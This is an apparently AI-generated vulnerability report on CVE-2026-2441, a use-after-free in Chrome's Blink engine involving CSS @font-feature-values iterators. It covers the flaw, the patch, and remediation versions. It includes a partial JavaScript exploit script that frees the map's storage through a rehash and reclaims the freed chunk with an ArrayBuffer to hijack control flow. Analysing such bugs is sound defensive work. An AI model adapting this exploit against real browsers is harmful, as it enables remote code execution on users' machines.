CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-2441
8.80.53%

Font of Doom: Inside CVE-2026-2441 (Chrome Blink UAF)

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 21, 2026·6 min read·5 visits

Active ExploitationCISA KEV Listed

Executive Summary (TL;DR)

A critical Use-After-Free in Chrome's Blink engine allows attackers to execute arbitrary code by manipulating CSS font feature maps. If you iterate over a map while modifying it, the backing storage gets freed, but the iterator doesn't get the memo. Confirmed active exploitation.

In the sprawling, chaotic metropolis that is the Chromium codebase, even the most obscure CSS features can hide deadly traps. CVE-2026-2441 is a textbook Use-After-Free (UAF) vulnerability buried deep within the Blink rendering engine's handling of `@font-feature-values`. By exploiting a logic error in how iterators track underlying HashMaps during mutation, attackers can trigger memory corruption leading to Remote Code Execution (RCE) inside the renderer process. This isn't theoretical—Google has confirmed active exploitation in the wild.

The Hook: A Typographer's Nightmare

Browsers are essentially operating systems masquerading as document viewers. They handle networking, graphics, audio, and, of course, typography. But unlike your OS, the browser executes untrusted code from the internet by design. Enter CSSFontFeatureValuesMap.

This component lives in Blink (third_party/blink/renderer/core/css/css_font_feature_values_map.cc) and is responsible for handling the CSS @font-feature-values rule. This rule allows developers to define named aliases for font-specific feature indices (like swash or styleset). It's a niche feature, likely used by 0.1% of websites, which makes it the perfect hunting ground for bug hunters. Code that isn't frequently touched or widely understood often rots.

The vulnerability here is a classic "iterator invalidation" issue, but with a C++ twist. When you ask JavaScript to iterate over these font values, the browser creates a C++ iterator object to bridge the gap. Ideally, this iterator should be smart enough to handle the underlying data changing. In CVE-2026-2441, it was decidedly stupid.

The Flaw: The Iterator That Knew Too Little

To understand the bug, you have to understand how WTF::HashMap (Web Template Framework, not the other acronym) works in Blink. Hash maps are dynamic. If you add enough items, the map eventually says, "I'm full," and allocates a larger chunk of memory, moves the items over, and frees the old chunk.

The vulnerability lies in the FontFeatureValuesMapIterationSource class. This class is created when JS asks for an iterator (e.g., rule.styleset.entries()).

The fatal flaw? The iterator held a raw pointer (const FontFeatureAliases* aliases_) directly to the internal storage of the map. It did not hold a reference that would keep the storage alive, nor did it check if the map had moved. It just grabbed the address and said, "I'll live here forever."

Here is the sequence of doom:

  1. Iterator Created: JS grabs an iterator. Blink points it at the current memory address of the map's storage.
  2. Mutation: The attacker uses JS to add or remove items from the map while iterating.
  3. Rehash: The map resizes. The old memory block is freed (free()). The new data lives elsewhere.
  4. UAF: The iterator, still clutching the old address like a stubborn ghost, tries to read the next item. Boom. It accesses freed memory.

The Code: Smoking Gun

Let's look at the logic failure. The code essentially trusted that the map wouldn't change under its feet. This is akin to sitting on a park bench (iterator) while a construction crew (map.set) demolishes the park and builds a new one three blocks away. You end up sitting on nothing.

The Vulnerable Logic

// Pseudocode representation of the flaw
class FontFeatureValuesMapIterationSource : public ValueIterable::IterationSource {
 public:
  explicit IterationSource(const FontFeatureAliases& aliases)
      : aliases_(&aliases), // <--- DANGER: Raw pointer to map storage
        iterator_(aliases.begin()) {}
 
  bool Next(ScriptState* script_state, ...) override {
     // If 'aliases_' was rehashed, this iterator is invalid.
     // But we use it anyway.
     if (iterator_ == aliases_->end()) return false;
     // ... usage of iterator_ causes UAF
  }
 
 private:
  const FontFeatureAliases* aliases_;
  FontFeatureAliases::const_iterator iterator_;
};

The fix, implemented in commit 63f3cb4864c64c677cd60c76c8cb49d37d08319c, changes this ownership model. Instead of a raw pointer, the safe version usually involves either creating a localized copy of the keys/values for the iterator to use (snapshotting) or using a WeakPtr or handle that knows when the underlying object has died or moved.

The Exploit: Feng Shui and Function Pointers

Exploiting this requires a bit of heap gymnastics (Heap Feng Shui). We need to trigger the free, fill the hole with our own data, and then trick the engine into using it.

The Attack Script

> [!NOTE] > This is a simplified reconstruction based on the vulnerability mechanics.

// 1. Setup the target
const sheet = document.getElementById("target-style").sheet;
const rule = sheet.cssRules[0]; // @font-feature-values rule
const map = rule.styleset;      // The vulnerable map
 
// 2. Create the iterator (holds raw ptr to current storage)
const iterator = map.entries();
const first = iterator.next(); 
 
// 3. Trigger the Free (Rehash)
// We delete an item to create gaps, then flood it to force a resize.
map.delete(first.value[0]);
 
// Adding 512 items guarantees a rehash in most HashMap implementations
for (let i = 0; i < 512; i++) {
    map.set("spray_" + i, [i, i+1]); 
}
// At this point, the 'iterator' variable in C++ points to freed memory.
 
// 4. Reclaim the Freed Memory
// We allocate a typed array or another object that fits the size of the freed block.
// We write fake vtable pointers or object structures here.
let reclaim = new ArrayBuffer(SIZE_OF_FREED_CHUNK);
let view = new DataView(reclaim);
view.setUint32(0, 0x41414141); // Controlled data
 
// 5. Trigger Execution
iterator.next(); // Blink reads our 0x41414141 as a pointer and jumps to it.

If successful, the iterator.next() call tries to read from the old map storage. Since we've overwritten that storage with our ArrayBuffer, the browser reads our malicious data. By targeting the Virtual Function Table Pointer (vptr), we can hijack control flow and execute ROP chains.

The Impact: From Renderer to System

Immediate impact? Renderer RCE. The attacker executes code in the context of the Chrome Renderer process. This process is sandboxed, meaning it can't just read your files or install malware directly on the OS.

However, a Renderer exploit is the first step in a "chain." Attackers combine this UAF with a second vulnerability—a Sandbox Escape (often in the OS kernel or the browser's GPU process)—to break out.

Given that this was found exploited in the wild, it is highly probable that threat actors (likely sophisticated ones) had a full chain ready. They used this bug to get a foothold, and another zero-day to break the cage.

The Fix: Stopping the Bleeding

The remediation is straightforward for users: Update Chrome. The patch ensures that iterators are robust against container mutation. Typically, this means the iterator creates a "snapshot" of the keys or holds a strong reference that prevents the backing store from vanishing.

If you are a security researcher looking at the patch, check css_font_feature_values_map.cc. You'll see the shift away from raw pointers. The lesson here for C++ developers is eternal: Never trust that a container will remain static while you are iterating over it.

Remediation Steps

  1. Update: Chrome version 145.0.7632.75 (Windows/Mac) or 144.0.7559.75 (Linux).
  2. Verify: Go to chrome://settings/help to ensure the update applied.
  3. Restart: Chrome updates don't apply until the browser restarts.

Official Patches

GoogleChrome Stable Channel Update 145.0.7632.75

Fix Analysis (1)

Technical Appendix

CVSS Score
8.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Probability
0.53%
Top 33% most exploited

Affected Systems

Google Chrome (Windows/macOS) < 145.0.7632.75Google Chrome (Linux) < 144.0.7559.75Microsoft Edge (Chromium) < 133.0.3065.92Brave Browser < 1.75.180Opera < 116.0.5366.82

Affected Versions Detail

Product
Affected Versions
Fixed Version
Google Chrome
Google
< 145.0.7632.75145.0.7632.75
AttributeDetail
CWE IDCWE-416 (Use After Free)
CVSS8.8 (High)
Attack VectorNetwork (Web Page)
Privileges RequiredNone
User InteractionRequired (Visit Page)
Exploit StatusActive / Weaponized
EPSS Score0.00531 (66.81%)
KEV ListedYes (2026-02-17)

MITRE ATT&CK Mapping

T1203Exploitation for Client Execution
Execution
T1190Exploit Public-Facing Application
Initial Access
CWE-416
Use After Free

Referencing memory after it has been freed can cause a program to crash, use unexpected values, or execute code.

Known Exploits & Detection

GitHubProof of concept demonstrating renderer crash and UAF trigger

Vulnerability Timeline

Reported to Google
2026-02-11
Patch Released (v145.0.7632.75)
2026-02-13
Confirmed Active Exploitation
2026-02-13
Added to CISA KEV
2026-02-17
Public PoC Released
2026-02-21

References & Sources

  • [1]NVD - CVE-2026-2441
  • [2]CISA KEV Catalog

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.